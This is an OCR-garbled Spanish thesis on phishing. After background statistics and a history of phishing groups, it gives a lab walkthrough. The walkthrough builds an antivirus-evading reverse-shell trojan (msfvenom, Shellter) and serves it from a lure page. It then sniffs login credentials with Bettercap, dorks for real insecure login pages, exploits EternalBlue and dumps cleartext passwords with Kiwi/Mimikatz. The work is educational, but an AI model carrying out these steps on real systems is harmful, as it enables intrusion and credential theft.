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INTRODUCCION







1. Introduccion

La informatica ha evolucionado de forma acelerada en los ultimos afios y con ella los
habitos y costumbres de las personas. “El numero de usuario de internet y usuarios de
redes sociales en todo el mundo ha aumentado en mas de 300 millones en los ultimos
doce meses. El total de usuarios con acceso a internet es de 4.57 billones” (We Are
Social, 2020).

El creciente aumento de nuevos usuarios conectados a internet aumenta las
probabilidades para que los cibercriminales puedan realizar con éxito ataques de
phishing a usuarios o empresas, debido a la falta de experiencia en la mayoria de los

Casos.

El phishing es una técnica utilizada por los cibercriminales para obtener informacion
sensible de los usuarios, utilizando como cebo mensajes de email en la mayoria de los
casos, pero también puede ser por via telefénica o redes sociales. La base de este
engafio consiste en suplantar las entidades en las que se requiere que agregamos
nuestros datos financieros, en tal caso podtia ser, nuestro Banco, Amazon, Netflix,

etc.

El phishing es la moda que nunca pasa. Los phishers demuestran su creatividad en
cada uno de sus ataques, que pueden derivar en mensajes de correos con encabezados
interesantes y que necesitan ser respondido de forma inmediata como puede ser,
actualiza tu contrasefia para seguir disfrutando de nuestros servicios, fingiendo ser tu
entidad bancaria, solicitando datos sensibles en nombre de otra entidad o también
puede ser a través del uso de ingenieria social, todos esto con la finalidad de hacerse

con nuestros datos bancarios que es el objetivo final de todo phishers (OSI, 2010).







OBJETIVOS DEL PROYECTO







~
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2.1. General

Implementar ataques de phishing y sus fases de desarrollo en un entorno controlado,
para la identificacion de la forma en la que operan los ciberdelincuentes, atreves de la

utilizacion de técnicas que muestran el phishing como una amenaza multiforme.

2.2. Especificos

e Explotar vulnerabilidades de sistemas, que permitan la captura de informacién

sensible.

e Realizar campafia de phishing, para la suplantacion de identidad de los usuarios.
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El siglo XXI ha marcado un antes y un después en la revolucion tecnoldgica,
reformando la cultura organizacional de las empresas. Cada vez es mas
imprescindibles para el sector empresarial y la vida cotidiana el uso de herramientas y

sistemas conectados a internet, de esta simbiosis se aprovechan los phishers.

A partir de mediado de marzo, los ciberdelincuentes lanzaron una variedad de ataques
de phishing y malware con tematica COVID-19 contra trabajadores, centros de salud
y los desempleados. El nimero de sitios de phishing detectados en el primer trimestre
de 2020 fue de 165.772, frente a los 162,155 observados a finales de 2019. (APWG,
2020).

Phishing Sites, 402019-1Q2020
50,000
80,000
70,000

60,000

50,000
40,000
30,000
20,000
10,000

Oct-19 Nov-19 Dec-19 lan-20 Feb-20 Mar-20

[

Figura 1. Phishing sitios web 4T2019-1T2020 (APWG).
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La suplantacion de identidad dirigidas a los usuarios de correo web y software como

servicio (SaaS) es la categoria mas importante de suplantacion de identidad con un
33.5% de todos los ataques (APWG, 2020).

PMOST-TARGETED PHISHING
SECTORS, LQ202

Payment, 13 5%

Fimancial
Imstibwutiom,
A A3

Other, B.S5%26

Sa00S J webrmail,
3390

Figura 2. Phishing dirigido por sectores 1T-2020 (APWG).

Other, 6.9%6

eCormmeerce
Retail, 6.2%:

Cloud Storage )
File Hosting,
S.9%5

BEC o Business E-Mail Compromise, es un ataque que va dirigido a empleados con

accesos a la finanza de la empresa, convenciendo al usuario para que realice

transferencias o pagos de facturas, a través de mensaje de correos de cuentas

comprometidas, suplantando la identidad de directivos, proveedores o de algin otro

miembro de la empresa. En el 66% de los ataques los ciberdelincuentes solicitaron
fondo en tarjetas de regalos (APWG, 2020).

12
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Figura 3. Ataques Business E-Mail Compromise 1T-2020 (APWG).

Es un error comin pensar, que si un sitio web es https significa que podemos
proporcionar nuestra informacion bancaria para realizar transacciones seguras. El
74% de los ataques de phishing son dirigidos desde sitios https (Protocolo seguro de
transferencia de hipertexto), es importante que los usuarios entiendan que SSL no
significa que un sitio sea legitimo. Los phishers suelen montar paginas de phishing en
sitios legitimos que usan SSL. (APWG, 2020).

% of Phishing Attacks Hosted on HTTPS

50%

405

30%

20%

10% I I
e m W I

a3 04 01 Q2 @3 04 01 02 03 4 01 02 03 04 @
2016 2016 2017 2017 2017 2017 2018 2018 2018 2018 2019 2019 2019 2019 2020

QUARTER

% OF PHISHING ATTACKS

Figura 4. Ataques con HTTPS (APWG).

El phishing es un ataque semantico que tiene como objetivo dafar al usuario
financieramente en lugar de causar dafios a la computadora. La facilidad de clonar un
sitio web bancario legitimo para convencer a los usuarios de que se trata del sitio web
real aumenta la probabilidad de éxitos en la suplantacién de identidad. En su
mayoria, se envia un correo electrénico con un enlace de redireccionamiento al sitio
web para que el usuario actualice la informacién confidencial, como la tarjeta de

crédito, la informacioén de inicio de sesion del sitio web y la informacion de la cuenta
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bancaria que pertenece al sitio web real y luego esta informacién es utilizada para

dafiar al usuario. (Iraj Sadegh Amiri et al., 2014).

Se ha detectado que la vulnerabilidad de la mayoria de los servidores web ha llevado a
la evoluciéon de los sitios web de phishing, de modo que los phishers explotan la
debilidad del servidor web para alojar sitios web falsificados sin el conocimiento del
propietario. También es posible que el phisher aloje un nuevo servidor web
independiente de cualquier servidor web legitimo para actividades de phishing.
(Zhang y Col. 2012, citado por Iraj Sadegh Amiri et al., 2014).

Un factor importante para entender el impacto del phishing es el tipo de victimas, se
puede distinguir entre phools informacionales y phools psicolégicos. Los primeros
son «pescados» porque solo cuentan con informacién parcial, mientras que los
segundos evaluan incorrectamente las opciones disponibles por limitaciones

cognitivas o porque son llevados por emociones. (Akerlof et al., 2015).

La identificacién por parte del usuario de las posibles anomalias que podrian permitir
descubrir un ataque de phishing es un factor muy importante para evitar el dafio que
podria causar el ciberdelincuente. Si hay errores gramaticales en el texto,
comunicaciones anénimas del tipo “Estimado cliente”, “Notificacién a usuario” o
“Querido amigo”, es un indicio que te debe poner en alerta, si recibes la
comunicacién desde un buzén de correo tipo @gmail.com, @outlook.com o
cualquier otro similar en nombre de una empresa, la url no se corresponde con la
entidad que nos pide nuestros datos, si nos piden que realicemos operaciones con

urgencias debemos empezar a sospechar que probablemente estemos siendo atacados.
(OS1, 2017).

Los phisher para suplantar la identidad de los usuarios utilizan diferentes técnicas
mostrando un alto grado de creatividad en cada nuevo ataque, obteniendo el maximo
beneficio posible en situaciones en las que los wusuarios bajen la guardia,
aprovechandose en muchos casos de la sensibilidad de las personas frente a crisis

humanitarias.
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“Los ciberdelincuentes siempre estan listos para aprovechar las oportunidades y ahora
mas que nunca, las personas y los sistemas de TT son particularmente vulnerables a las
estafas. La tarea forzada, una mayor dependencia de la tecnologfa y un mayor apetito

de informacién, proporcionan una receta perfecta para los estafadores” (Kingsley

Hayes, 2020).

3.1. Redirectoras

En una compana de phishing varias url pueden apuntar a un mismo sitio fraudulento,
donde todo el trafico es redirigido aun sitio principal, si algunos de los nodos caen la
campafa continua operativa desde las direcciones restantes. Esto también sirve de
fachada para los tipos de ataques en los que es necesario agregar nombres de
dominios internacionalizados (IDN), por ejemplo mi-entidad-bancaria.es para Espafia,
cambiando el dominio dependiendo el pais o utilizando caracteres del estandar
Unicode para crear url muy parecida a las originales y de esta manera confundir al

usuatio.

Utilizando este tipo de técnica los phishers pueden lograr que cientos o miles de url
puedan apuntar a un sitio unico, en caso de un ataque ser descubierto, puede ser que

nunca se localice el origen.

sitio-fraudulento.com

sitio-fraudulento-1.es sitio-fraudulento-2.do sitio-fraudulento-3.net

Figura 5. Redirectoras a sitios fraudulentos.
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3.2. Dominios

El sistema de nombres de dominio (DNS), es utilizado para representar equipos en
internet asociados a una ip, con un nombre legible y entendible por el usuario. En este

contexto un dominio es el nombre que representa el centro operaciones del phisher.

El phisher no quiere revelar su identidad, pero necesita un dominio para realizar sus
operaciones y es justo en este punto donde los ciberdelincuentes deciden si utilizar

dominios dedicados o vulnerados.

3.2.1. Dominios Dedicados

Para registrar un dominio los proveedores del servicio solicitan informacién personal
que un phisher no puede agregar sin quedar expuesto, algunos de estos datos son:
nombre, numero de identidad, email, teléfono, direccion, etc. Para saltarse este tipo de
control y poder registrar el dominio los delincuentes agregan informacion falsa o
suplantan la identidad de otra persona, convirtiendo a la victima en victimario,
pudiendo incluso la persona suplantada ser objeto de investigaciéon pues a efectos

legales es ¢l quien es responsable del dominio.

3.2.2. Dominios Vulnerados

Un dominio vulnerado es un dominio que ha sido adquirido por una persona o
empresa de forma legitima y un phisher lo ha infectado con una Shell, que en este
caso es un codigo malicioso que se introduce para poder controlar el sitio web que es
representado por el dominio, de esta forma los phishers realizan sus ataques desde
sitios web legitimos, que podrian ser utilizados para realizar campafias de phishing
muy efectivas si el dominio comprometido es o esta relacionado con una entidad
bancaria o un sitio donde agregamos nuestros datos financiero. En la mayoria de los

casos a los ciberdelincuentes solo les interesa un dominio para montar el phishing.
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3.3. Rock Phish

Rock Phish, se trata de una técnica que fue creada por un grupo de ciberdelincuentes,
que recibié su nombre porque las url utilizadas por los atacantes contenfan la firma
“rock”. Este grupo utilizaba el cambio de DNS, fueron creadores del kit de phishing
main-in-the-middle, primero en utilizar spam con imagenes y utl tnicas de un solo
uso. (Robert McMillan, 2006). En 2006 el Rock Phish estaba presente en mas del 50%

de los ataques de phishing en todo el mundo.

El cambio de DNS o flujo rapidos, utilizado por Rock Phish para ocultar y prolongar
el tiempo de actividad de los sitios web de phishing, moviendo los dominios
contantemente y asi evitar ser detectado, utilizando proveedores de DNS con sede en
regiones en conflicto geopolitico con los paises en los que eran realizados los ataques,
de esta forma si el origen era descubierto, la campafia de phishing podia mantenerse

activa por mas tiempo (Baquia, 2008).

Main-In-The-Middle, esta técnica se trata de interceptar una comunicacién entre
cliente, servidor y ser capaz de interactuar con los mensajes sin que las victimas

detecten la presencia del atacante.

HOSTT1: Router NAT Remove
Mac: 01:01:01:01:01:01 HTTPS server
Erid vise IP: 192.168.0.1

\

“y =

HOST2: Client Host — CH  HOST3: Attacker Host — ATH
Mac: 02:02:02:02:02:02 Mac: 03:03:03:03:03:03
IP: 192.168.0.2 IP: 192.168.0.3

Figura 6. Man-in-the-Middle Attack to the HTTPS Protocol (IEEE Security & Privacy)
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Las técnicas utilizadas por Rock Phish para suplantar la identidad eran cada vez mas
sofisticadas. Una de las estrategias utilizada por el grupo fue sustraer informacion
personal utilizando un troyano financiero llamado Zeus, un programa que pasa
desapercibido y que captura informaciéon importante de los usuarios, como claves,
identificaciones personales y tarjetas de crédito, (RSA, citado por Dell Technologies,
2008). El grupo Rock Phish permaneci6 activo hasta finales de 2008.

3.4. Avalanche

Habfia indicios de que Avalanche era el sucesor del grupo criminar Rock Phish, pero
mejorado, Avalanche fue calificado como una entidad delictiva de las mas sofisticadas
y perjudiciales en internet, este grupo perfecciono la produccién en masa de sitios de
phishing y malware disefiado para automatizar el robo de identidad y transacciones de

cuentas bancaria sin autorizacién del propietario de la cuenta (APWG, 2010).

Avalanche Attacks & Domains Registered

30000 1200
25000 - 1000 9
Q
20000 - 800
£ g
& 15000 - 600
g £
< 10000 - 400 =
£
5000 - 200 8
0 0
Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr
'09 "10
mm Domains = Attacks

Figura 7. Dominios de Avalanche julio 2009 a abril 2010 (APWG).
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Los dominios de Avalanche estaban alojados en una botnet, formada por un conjunto

de ordenadores comprometidos que eran controlados de forma remota, utilizando el
flujo rapido.

1
-

SR

Aldcker machirss rursing lhierd
Pre=g raim

wn o ap . Le ] L]

Harsdler Handkar Bl s Hancllar P dler Harmdler

0 e Sl o pron e Compromised 10 Y e s Compromised o promm ised

3D

Internet

Targeted Server(s)

Figura 8. Ataque de denegacion de servicio (Wikipedia).

“Avalanche fue responsable de dos tercios (66%) de todos los ataques de phishing
lanzados en la segunda mitad de 2009, y fue responsable del aumento general de los
ataques de phishing registrados en Internet” (APWG, 2010).
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Los vectores de entradas utilizados por los ciberdelincuentes para acceder a un
sistema o una red de sistemas pueden estar enfocado en explotar vulnerabilidades en
el propio sistema o en engafar al usuario para que ejecute codigo malicioso que

permita obtener el control del sistema, utilizando ingenierfa social.

4.1. Obtener una Shell de Windows utilizado un troyano

Los troyanos son un clasico que nunca pasa de moda, nos permiten atreves de la
insercion de un cédigo malicioso, robar informacion, crear puertas traseras o incluso
dafiar el funcionamiento del equipo. Pero dafiar el equipo no es el objetivo del phisher

solo les interesa la informacion.

4.1.1. Crear un troyano en Kali Linux

07:46 PM ‘ n a G

Archivo Acciones Editar Vista Ayuda

:.‘j"J'.]L’AI’.‘A‘(lJT' mtu 1500

.,l\l‘.nl‘iy.‘\ broadcast

Figura 9. Verificar ip de la maquina atacante (Troyano).

Crear archivo .exe utilizado la herramienta Venom de Metasploit, le indicamos un
payload para Windows reverse_tcp. De esta forma es el ordenador de la victima quien

se conecta a nosotros para burlar la seguridad del sistema y evitar filtros.

El LHOST y LPORT pertenecen a la maquina atacante.

Figura 10. Crear troyano con msfvenom.
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Shellter es una herramienta, que nos permita ofuscar el coédigo malicioso, para evitar

saltar la alarma de los antivirus.

-+ sudo shellter

Figura 11. Ejecutar Shellter para ofuscar cédigo malicioso.

Le indicamos a Shellter el modo de operacién automatico y la ruta donde esta el

archivo .exe que vamos a ofuscar.

Shell7er

Figura 12. Configurar el modo de operacion de Shellter.

Figura 13. Habilitar el payload en Shellter.

24




£
(=)
4. Vulnerabilidades Explotadas por los Phishers é@

LHOST y LPORT, son la ip y el puerto que estard a la escucha en la maquina del

atacante.

Figura 14. Establecer el LHOST y el LPORT en Shellter.

Proceso realizado correctamente, el archivo .exe esta listo para ser utilizado.

Figura 15. Inyeccion verificada en Shellter.

Movemos el archivo a nuestro servidor, en este proceso se asume que el servicio de
apache esta corriendo. En un entorno real este cédigo estarfa en un servidor

controlado por el atacante.

~§ sudo cp shell-windows.exe /var/wmi/htnl/

Figura 16. Copiar el troyano en el servidor de atacante.

Parar crear el manejador, que se mantendra a la escucha esperando que alguien instale
el troyano, para asignarnos una consola de Meterpreter que nos permita acceder al

sistema vulnerado, utilizaremos Metasploit framework.

4 sudo nsfonsole

Figura 17. Ejecutar Metasploit framework para utilizar multi/handler.
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kali@kali: ~

Archivo Acciones Editar Vista Ayuda

ary - 344 post
ers - 10 nops

Metasploit tip: When in a module, use to go back to the top level prompt

msf5 > [

Figura 18. Consola de Metasploit.

Cargamos el exploit multi/handler, para configurar el manejador que se mantendra a

la escucha.

msf5 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp

=)

Figura 19. Exploit multi/handler.

Establecemos el payload de Meterpreter reverse_tcp, para realizar una conexion

inversa desde el equipo vulnerado a la maquina del atacante.

nsf5 exploit| ) > set payload windows/meterpreter/reverse_tcp

payload = windows/meterpreter/reverse tcp

Figura 20. Payload reverse_tcp para el exploit multi/handler.

Para ver como estan configuradas las opciones del exploit que vamos a cargar.

msf5 exploit ) > show options |

Figura 21. Ver cémo esta configurado el exploit multi/handler.
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En las opciones del exploit hay que tener pendiente las opciones requeridas solo nos

falta el LPORT, pero también podemos cambiar las opciones que vienen por defecto.

ons (windows/meterpreter/reverse_tcp):

Current Setting Required Description

Exit technique (Accepted:

The listen address (an interface

The listen port

Figura 22. Configuracién del exploit multi/handler.

Configuramos las opciones LHOSTS y LPORTS, para indicar cual es la maquina

atacante y el puerto que estara a la escucha.

msfS exploitl ) > set lhost 192.168.1.146
lhost = 192.168.1.146

msty exploitl ) > set lport 445

lport = 445

Figura 23. Establecer LHOST y LPORT al exploit multi/handler.

Lanzamos el exploit multi/handler para habilitar la escucha en el puerto 445.

) > Tun

Started reverse TCP handler on 192,168.1,146:445

Figura 24. Lanzar exploit multi/handler.
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Al acceder al sitio web donde estd el coédigo malicioso, el atacante intentara
convencernos de que es obligatorio y urgente que instalemos este software de lo
contrario podria haber consecuencias. Para provocar una accion precipitada por parte

del usuario.

Para lograr su objetivo el ciberdelincuente podria valerse de la ingenierfa social o
incluso infectarnos el equipo al momento de abrir un archivo que nos descarguemos

de internet.

@ Phishing X <+
“— C @@ Noesseguro | 192.168.1.146 & & e

Hola soy tu atacante, instalar este
troyano, para controlar tu pc.

Descargar

Figura 25. Acceso al sitio del atacante.
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e Phish g X +
I C @ Noesseguro | 192.168.1.146 @ * 6

Advertencia de seguridad de Abrir archivo

troy No se pudo comprobar el editor. ¢ Esta seguro de que desea C.
ejecutar este software?
‘l 1 Nombre: C\Users\Edwin\Downloads\shell-windows.exe
— Edtor: Editor desconocido
Tipo: Aplicacion

De: C\Users\Edwin\Downloads\shell-windows.exe

‘_ﬁ?.ta_ Cancelar l

7] Preguntar siempre antes de abrir este
- archivo

editor. Slo ejecute software de los editores en los que confia

¢ Cémo puedo decidir qué software debo ejecutar?

‘ @I Este archivo no tiene ninguna fima digital valida que compruebe su

m  shell-windows.exe A Mostrar todo X

Figura 26. Instalacion del troyano.

Cuando se ejecuta el codigo malicioso, se asigna una Shell de Meterpreter en el equipo

del atacante que permite tener acceso al sistema vulnerado.

meterpreter » sysinfo

Computer » EOWIN-PC

05 » Windows 7 (6.1 Build 7600).
Architecture + Xx64

System Language : es_ES
Domain » WORKGROUP
Logged On User

KS@/WinOWS

Figura 27. Shell de Meterpreter obtenida con troyano.

29




4. Vulnerabilidades Explotadas por los Phishers

Acceder a la Shell del sistema vulnerado y ejecutar comando de Windows.

meterpreter > shell
Process 2136 created.
Channel 1 created.

Microsoft Windows [Versi®n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

Figura 28. Obtener una Shell de Windows.

Desde el equipo del atacante con la Shell, se pueden ejecutar todos los comandos de

Windows contra el equipo vulnerado.

B C:\Windows\system32\
08:00PM O ¥ C:\Windows\system32\cmd.exe
Microsoft Windows [V
Copyright (c) 2089 M soft Corporation. Reservados todos los derechos.

rs\Edwin>ipconf ig
kali@kali: ~
Conf iguracion IP de Windows

Archivo Acciones Editar Vista Ayuda

fdaptador de Ethernet Conexidon de drea local:

win>ipcontig
Configuraci®n IP de Windows

et Conexi€n d : daptado

! le los medios ¢ medios desconectados
Sufijo DNS especifico para la conexién. . : home

>:\Users\Edwin

Figura 29. Verificar obtencion de la Shell de Windows.

4.2. Capturando el trafico de la red (Sniffing)

Para capturar el trafico de dentro una red utilizaremos Bettercap.

:~% sudo bettercap
bettercap v2.28 (built for linux amd64 with gol.14.4) [type "help' for a list of commands]

> 10.0.2.4 B |

Figura 30. Ejecutar Bettercap.
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Para ver los médulos disponibles de Bettercap ejecutamos help.

> 10.0.2.4 EXQN |

Figura 31. Ver médulos de Bettercap.

Lanzamos el médulo que vamos a activar para capturar el trafico.

Modules

> 10.0.2.4 ERESISSEA

Figura 32. Activar médulo de Bettercap.

El sniffer ha iniciado con la captura de los paquetes dentro de la red.

> 10.0.2.4 ERSCHIBOINI ] () starting net.recon as a require
ment for net.sniff

EISUNPNS » [16:29:14] | ] endpoint 10.0.2.3 detected as

(PCS Computer Systems GmbH).

Figura 33. Capturando el trafico de la red.
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Maquina de donde estamos capturando el trafico en la red.

-] L Escribe aquf para buscar

Figura 34. Configuracién de la maquina de donde estamos capturando el trafico.

Busqueda avanzada para obtener todos los sitios web de Espafa, que no sean seguros

y contengan la palabra login.

@ -inurkhttps site=".es intitlezlogin x -+

- (&

& google.com

GO gle -inurl:https site-™ es intitle-login > LA
Q. Todo &) Imagenes 2] Videos Q@ Maps & Noticias : Mas Configuracion Herr

futurskill-manpoweres ~

Manpower | Login

Iniciar Sesion Contrasena Entrar. 4 O omprueba tu
equipo. Recuperar Contrasena. Buscar por «

mmail.orange.es -~

Correo Orange - login

Un icono en forma de pelota de futbol Futbol en Orange TV In icono en forma de barras Sigue
tu instalacion de fibra n ono en forma de lupa Encuentra

www.gondiaz._es > lotesycestasamedida » frontend > web

Login - Gondiaz

iBienvenido! | duzca su usuario (email) y cor acceda a su regalo en Ia piataforma

Recuerde m

0S en este dispositivo. S

www.cronolaps.es Jin ~

L Escribe aquf para buscar

Figura 35. Resultados de la busqueda avanzada de browser hacking.
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O En el pc del atacante se recibe informacioén
niciar sesion e de los sitios web donde accede la victima

I enviando usuario y contrasea.
manolo

¢, Olvidaste la contrasefia ?
Recuperar

Comprueba tu equipo

Figura 36. Inicio de sesion capturado por el atacante.

El sniffer que hemos configurado captura todo el trafico de la red incluyendo usuarios
y contrasenas, introducidos en los sitios de login a los que acceda la victima y nos

envia toda la cabecera con informacion del sitio web visitado.

POST /login/index.php HTTP/1.1
| RO e s

Figura 37. Usuario y contrasefia capturados por el sniffer.
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4.3. Escaneo de vulnerabilidad con Nessus

Nessus es una herramienta muy potente para realizar escaneos de seguridad de

sistemas y permite obtener las vulnerabilidades que pueden ser explotadas, con

informacion de como explotarlas.

o) nessus

My Scans

i My Scans
B A Scans

. Trash

Figura 38. Crear nuevo escaner con Nessus.

\nessus Scans SHNng

B My Scans
| .
All Scare \A ¢
[ ] ' 8
Trash
- Basic Network Scan Advanced Scan
o Polcios
B Pugn Rules
& Scarrens = 0
Mobile Device Scan Web Application Tests
Community

Research

I

Bash Shelishock Detection DROWN Detection

Figura 39. Escaneres disponibles en Nessus.
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Para configurar el escaner le damos un nombre e indicamos los targets que puede ser

un equipo o la red que vamos a escanear.

Settings Credentials Plugins
i My Scans BASIC &
i Al Scans sl Name Windows7
L Schedule G
Description
Motifications
g Policies DISCOVERY
@ Plugin Rules ASSESSMENT Folder My Scans -
@& Scanners REPORT
Targets
PRAR 9 192.168.1.146
1 Community
@ Research
Tenable News Upload Targets Add File
Zero-Day Remote
Code Execution
Vulnerability invB...
v | g
Read More Launch

Figura 40. Configuracion del escaner de Nessus.

Listado de escaner realizados a los que podemos acceder para ver los resultados.

nessus Scans

/" Essentials

My Scans Import ~~ New Folder
W My Scans

i AllScans
Trash

=

Name Schedule Last Modified

N Windows7 On Demand August 19 at 5:15 PM
Policies

L+

@ Plugin Rules

i@

Scanners

Figura 41. Listado de escaneres realizados.
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BN,

Resultados del escaner que nos muestra las vulnerabilidades encontradas en el sistema.

Windows7 / 192.168.1.146 / Microsoft Windows (Mul... Launch ~ Report =
< Back to Vulnerabilities
i@ My Scans
~ o Configure
e cans Vulnerabilities 20
W Trash
a Policies Sev Name Family Count Scan Details
B Plugin Rules . . .
Unsupported Windows Q... Windows 1 Policy: Basic Network Scan
@ Scanners Status: Completed
MS17-010: Security Upda...  Windows 1 Secanner: Local Scanner
Start: August 19 at 5:10 PM
1 Community MS16-047: Security Upda...  Windows 1 End: August 19 at 5:15 PM
_ Elapsed: 6 minutes
%) Research
- WMI Not Available Windows 1

Tenable News

Figura 42. Resultados del escaner.

Vulnerabilities

@ Critical
High
Medium

* Low
® Info

De los puntos mas importante que aporta Nessus, es la informacién que proporciona

sobre las vulnerabilidades encontradas.

Windows7 / Plugin #97833

< Back to Vulnerability Group

Configure

Audit Trail

i@ My Scans
& Al Scans Vulnerabilities 20
@M Trash
MS17-010: Security Update for Microsoft Windows SMB Server (401...
@ Policies Description
[®) Flugin Rules The remote Windows host is affected by the following vulnerabilities :
@& Scanners ) ) . - .
== - Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper
handling of certain requests. An unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted
packet. to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)
Community
- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMEBv1) due to improper handling
Research

of certain requests. An unauthenticated, remote attacker can exploit this, via a specially crafted packet, to disclose
sensitive information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYMNERGY are four of multiple Equation
Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit, and EternalRocks is a worm that utilizes seven
Equation Group vulnerabilities. Petya is a ransomware program that first utilizes CVE-2017-0199, a vulnerability in
Microsoft Office, and then spreads via ETERNALBLUE.

Figura 43. Informacion sobre la vulnerabilidad encontrada con Nessus.
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Lo mejor de Nessus es que indica como explotar la vulnerabilidad y con qué

herramienta.

Exploitable With

PMetasploit (MS17-010 EtermalBluse SMEB Remote
Wieindows Fermel Pool Cormuption)

CAMYAS ()

Crore Impact

Figura 44. Como explotar vulnerabilidad encontrada con Nessus.

4.4. Explotando vulnerabilidad encontradas en el sistema de la

victima

Para explotar las vulnerabilidades encontradas en el ordenador de la victima

utilizaremos Metasploit framework.

=§ sudo msfconsole

Figura 45. Ejecutar Metasploit framework para explotar la vulnerabilidad encontrada en el

sistema.

[%%%%%

[ %%%%%S
(RS 55 554554
[% -

[% |

[%

[ %%%!

[ %%

g5

[%

5.0.101
048 exploits - 1105 auxiliary - 344 post
payloads - 45 encoders - 10 nops
evasion

Metasploit tip: View a module's description using , or the enhanced version in your browser
with

msfs > i

Figura 46. Consola de Metasploit framework.
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Cargar exploit ms17_010_eternalblue para controlar el ordenador de la victima de
forma remota.

msfS > use exploit/windows/smb/ms17_010_eternalblue

No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

Figura 47. Exploit ms17_010_eternalblue.

nsfs exploit| ) > show options I

Figura 48. Ver como esta configurado el exploit ms17_010_eternalblue.

De las opciones requeridas para el exploit ms17_010_eternalblue, nos hace falta

indicar el RHOST que es el equipo que vamos a vulnerar.
Module options (exploit/windows/smb/ms17 010 eternalblue):

Current Setting Required Description

The target host(s), range CIDR identifier, or host

s file t "file:<path>’

RPORT 445 The target port (TCP)

SMBDomain : (Optional) The Windows domain to use for authentic
ation

SMBPass ! (Optional) The password for the specifi username

SMBUser I (Optional) The username to authenticate

VERIFY_ARCH "Ue ye Check if remote architecture matches exploit Targe

>

VERIFY_TARGET rue yes Check if remote 0S matches exploit Target.

Payload 1ons (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, non
LHOST 172.16.0. = The listen address (an interface may be specified)
LPORT ’ ye The listen port

Exploit target:
Id Name

Windows 7 and Server 2008 R2 (x64) All Service Packs

Figura 49. Configuraciéon del exploit ms17_010_eternalblue.
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Configuracion de la maquina que vamos a vulnerar, para indicarla en el RHOST.

& C\Windows\system32\cmd.exe

NUsers\Edwin2ipconf ig

onfiguracion IP de Vindow

Afdaptador de Ethernet Conexidén de area local:

Sufijo DNS especifico para la conexidn.

Dirveccidn IPV6 . .« « ¢« ¢ ¢ ¢ ¢ o « ¢ £Fd17:625¢ ¥ ’ 793biel134:a9d

Diveccién IPuv6b temporal. . . . . . ¢ y > f / 2d05:cf7c:3fF44d:

Uinculo: direccién IPv6 local. . . : 2 80: 5 :38h3%11

Direccion IPv4d, .

Mascara de subred . ©. 6.0 6 o 5 o o & o

Puerta de enlace predeterminada . . . . . @ B54:FF:fel12:3508211
172.16.8.1

Mdaptador de tidnel isatap.home:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexidén. . : home

iNUsers\Edwin)

Figura 50. Configuracion de maquina vulnerable a exploit ms17_010_eternalblue.

Indicamos la ip para establecer el RHOST del equipo que vamos a vulnerar.

nsts exploitl

Figura 51. Establecer la opcion RHOSTS para el exploit ms17_010_eternalblue.

msf5 exploitl ) » un

Figura 52. Lanzar el exploit ms17_010_eternalblue.
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(+] 172,16,0,6:445 = na-u=s=s=s-u=a=a=s=s-a-a-s-s-a-a-a-s-s-a-a-a-s-s-a-a-a=se-
(4] 172.16.0.6:445 = w-p=n=s=s=z-z=s-s-g-g-g=s-
[+] 172.16.0.6:445 -

meterpreter > ||

Figura 53. Sesién de Meterpreter iniciada correctamente con ms17_010_eternalblue.

meterpreter > sysinfo
Computer + EDWIN-PC

0 » Windows 7 (6.1 Build 7600).
Architecture  : x64

System Language : es_ES

Domain + WORKGROUP

Logged On Users :

Meterpreter & x64/windows

Figura 54. Verificacion del sistema conectado con Meterpreter.

Para ver con que usuario de Windows estamos ejecutando Meterpreter.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Figura 55. Comprobar que usuario utiliza el sistema.

4.4.1. Obtener usuario y sus contrasefias con Kiwi

meterpreter » use kiul

Figura 56. Cargar el mé6dulo de Kiwi en Meterpreter.

neterpreter > help

Figura 57. Verificar que Kiwi se carg6 correctamente.
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Kiwi Commands

Command Description

creds_kerberos Retrieve Kerberos creds (parsed

creds_msv Retrieve LM/NTLM creds (parsed)

creds_ssp Retrieve SSP creds

creds_tspkg Retrieve TsPkg creds (parsed)

creds_wdigest Retrieve WDigest creds (parsed)

dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket

kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets

kerberos_ticket_use Use a kerberos ticket

kiwi_cmd Execute an arbitary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed)

lsa_dump_secrets Dump LSA secrets (unparsed)

password_change Change the password/hash of a user

wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)

Figura 58. Salida que indica que Kiwi esta habilitado.

er > creds_all]

Figura 59. Obtener todos los usuarios y sus contrasefias con Kiwi.

Username Domain NTLM SHA1

Edwin Edwin-PC 18238cbb78d8fleeaad3b435b51404ee b76f082aaa9c349ed82df532c8e3d43e 4f2b9dO
1252e82a2a305939536741b3c5213281e9

wdigest credentials

Username Domain Password
(null) (null) (null)
EDWIN-PC$ WORKGROUP (null)
Edwin Edwin-PC fanuel

tspkg credentials

Username Domain Password

Edwin Edwin-PC fanuel

kerberos credentials

Username Domain Password

(null) (null) (null)
Edwin Edwin-PC fanuel
edwin-pc$ WORKGROUP (null)

Figura 60. Usuario y contrasefias en texto claro con Kiwi.
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4.4.2. Obtener usuarios y contrasefias con Mimikatz

neterpreter > use minikatz |

Figura 61. Cargar el médulo de Mimikatz en Meterpreter.

Figura 62. Verificar que Mimikatz se cargd correctamente.

Mimikatz Commands

Command Description

kerberos Attempt to retrieve kerberos creds.
